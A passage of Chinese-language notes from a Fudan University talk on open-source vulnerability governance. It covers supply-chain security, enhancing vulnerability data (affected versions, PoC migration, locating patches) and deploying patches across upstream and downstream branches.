基于源代码的依赖分析，依赖多少才算，没有明确定义。

主题2：开源代码漏洞治理 张源 复旦大学

供应链安全的重要性与挑战

2019开始，手机厂商交流是提出面临的难题，供应链安全重要。安卓系统是典型的上下游供应链系统，厂商都会定制化，如何尽可能多地收集上游数据，并判断下游厂商是否修复漏洞了？

软件安全新视角

软件供应链安全代表新的的机会，扩展了传统安全的维度。

传统软件安全：关注自身代码

供应链安全：上游集成下来的问题

问题：如何发现更多漏洞

问题：如何验证漏洞严重性

问题：如何开发漏洞补丁

问题：如何部署漏洞补丁

问题：如何及时捕获披露的漏洞

问题：如何精确排查漏洞影响

问题：如何有效定位漏洞补丁

问题：如何快速修复相关系统

传统安全做了很多工作，扫描、测试、修复漏洞，但是很多问题难做到落地，例如误报率非常高。

供应链安全给传统安全也带了了新的机会，例如，通过从上游源头、中游依赖链路、下游系统三个层面着手，全局供应链数据分析，分析上下游的依赖关系,更好地评估和发现这些上游漏洞在下游系统中的具体危害和影响面，可以更精准地识别下游的漏洞。

漏洞挖掘是核心

各个层次都有开展，内核、系统框架、新应用，有传统安全漏洞分析，也有业务逻辑相关的漏洞挖掘。

使用了多种技术，传统的动、静态分析、模糊测试、符号执行和大模型，主要是技术适配，让技术更好地服务于漏洞挖掘任务。

经典案例是人脸识别，被评为最有价值漏洞。人脸识别移动端录制、云端识别，依赖于端云协同，会出现不一致，导致任意登录。

通过智能化模糊测试，在多种关键系统组件中发现未知软件漏洞；利用移动OS访问控制缺陷检测工具，发现并预警最新手机系统的多个高危漏洞。

漏洞数据三要素

1 影响版本，公开漏洞库普遍存在漏洞影响版本信息错误的现象，人工审核有问题。

2 危害性，公开漏洞库普遍缺乏用于评估漏洞危害的信息，poc在漏洞数据库中的比例为4%，漏洞触发严重依赖于版本、配置等环境信息，缺poc，开发不愿意修改，漏洞难复现

3 修复补丁，公开漏洞库普遍存在补丁数量少，质量低。cve是社区自发性维护

漏洞数据增强：影响版本

传统方法的问题

修复前后的commit区间的所有commit都是受影响的，没有分析每个commit。

代码克隆分析，函数和修复前后的函数对比，如果修复是细微差异，就难发现。

相关工具包括V-SZZ, ReDeBug， MVP， V0Finder

思路：漏洞指纹

目标：可以有漏报，但是要精确

目标指纹刻画精确，严格符合漏洞特征的，才判断是受影响版本

漏洞数据增强：危害性

poc只针对一个版本，往往是针对最新版本开发的；需要验证低版本或者调整poc；

基于导向式模糊测试的poc迁移技术，漏洞的执行路径应该一致，可以指导低版本poc的迁移，但要注意代码重构以及代码细微差异会带来明显变化的场景。

漏洞数据增强：修复补丁

漏洞库不保含补丁信息；

漏洞数据增强，类似搜索引擎的思路

1 漏洞补丁和漏洞描述存在多维度的关联性，如漏洞类型、影响、位置，有助于定位补丁的commit；

2 漏洞描述和补丁关联弱时，引入排序模型，把commits和漏洞进行关联排序，猜出漏洞关联度高的补丁commit

漏洞治理：部署补丁是主要方式

漏洞挖掘、数据增强基础上，希望无论上游软件还是下游软件，都去部署补丁，才能让整个软件变得安全；怎样让上下游都部署补丁，是治理漏洞最关键的手段。

上游采用多分支开发和维护，有很多分支需要做补丁的迁移，在上游修复漏洞。

下游以手机为例，有多产品、多版本，内部的漏洞管理业非常复杂。

实证研究：超过80%的分支没有部署补丁，超过80%的补丁迁移需要人工参与